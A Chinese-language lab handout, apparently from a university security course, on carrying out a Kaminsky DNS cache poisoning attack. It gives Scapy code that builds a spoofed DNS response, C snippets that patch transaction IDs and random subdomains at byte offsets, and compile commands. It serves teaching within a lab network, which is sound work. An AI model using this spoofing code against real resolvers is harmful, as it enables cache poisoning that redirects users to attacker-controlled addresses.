DNS 攻击实验 - 远程攻击
Completion requirements
为了实现Kaminsky攻击,我们使用Scapy进行数据包伪造。但 Python 每秒生成的数据包太少以至于攻击很难成功。所以最好的方法是使用 C 语言程序,然而这对于许多学生来说颇具挑战,因为用 C 语言构造DNS数据包并非易事。我们开发了一种混合方法,并在课堂上进行了实验。通过这种方法,可以大大减少学生在编程上花费的时间,因此他们可以将更多的时间用于关注攻击本身。
这个方法是同时利用 Scapy 和 C 的优势:Scapy 在构建 DNS 数据包方面远远的比 C 更方便,但是 C 速度更快。因此我们使用 Scapy 构建伪造的 DNS 数据包,并将它保存到文件中,接着我们将数据包加载到 C 程序中。尽管在 Kaminsky 攻击过程中,我们需要发送许多不同的 DNS 数据包,但除了少数字段外,这些数据包几乎相同。我们可以将 Scapy 生成的数据包作为基础,找到需要修改地方的偏移量 (如 Transaction ID 字段),直接进行修改。这比在 C 中创建整个 DNS 数据包要简单很多。进行修改之后,我们使用原始的套接字发送这些数据包。以下的 Scapy 程序会创建一个简单的DNS响应数据包并将其保存在文件中。
#!/usr/bin/env python3
from scapy.all import *
# Construct the DNS header and payload
name = 'twysw.example.com'
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.1.2.2', ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=0, arcount=0,
qd=Qdsec, an=Anssec)
# Construct the IP, UDP headers, and the entire packet
ip = IP(dst='10.0.2.7', src='1.2.3.4', chksum=0)
udp = UDP(dport=33333, sport=53, chksum=0)
pkt = ip/udp/dns
# Save the packet to a file
with open('ip.bin', 'wb') as f:
f.write(bytes(pkt))
在 C 程序中,我们从文件 ip.bin 中读入数据包,并将其用作数据包的模板,在此模板上,我们可以创建许多类似的数据包,并向本地 DNS 服务器发送这些伪造的相应数据包。对于每个响应,我们修改三个地方:Transaction ID 和在两个位置 (查询字段和应答字段) 出现的 twysw。Transaction ID 在一个固定的位置 (从 IP 数据包开头偏移量 28),但名称 twysw 的偏移位置取决于域名的长度。我们可以使用二进制编辑器,如 ghex,来查看二进制文件 ip.bin 并找到 wysw 的两个偏移量。在我们的数据包中,他们的偏移量是 41 和 64。
以下的代码片段显示了我们如何修改这些字段。我们将响应中的域名改为 bbbbb.example.com,并发出一个伪造的DNS答复 (Transaction ID 为 1000)。在代码中,变量 ip 指向 IP 数据包的起始点。
// 修改查询字段中的域名 (offset=41)
memcpy(ip+41, "bbbbb" , 5);
// 修改答案字段中的域名 (offset=64)
memcpy(ip+64, "bbbbb" , 5);
// 修改 Transaction ID 字段 (offset=28)
unsigned short id = 1000;
unsigned short id_net_order = htons(id);
memcpy(ip+28, &id_net_order, 2);
生成随机子域名:在 Kaminsky 攻击中,我们需要生成随机的子域名。有许多方法可以做到这一点。以下的代码片段展示了如何生成一个5个字符的随机子域名。
char a[26]="abcdefghijklmnopqrstuvwxyz";
// 生成长度为5的随机名称
char name[6];
name[5] = 0;
for (int k=0; k<5; k++)
name[k] = a[rand() % 26];
编译程序。我们可以运行以下命令来编译程序:
$ gcc -o attack attack.c
// Apple 机型请使用静态绑定:
$ gcc -static -o attack attack.c
Last modified: Friday, 9 May 2025, 8:32 AM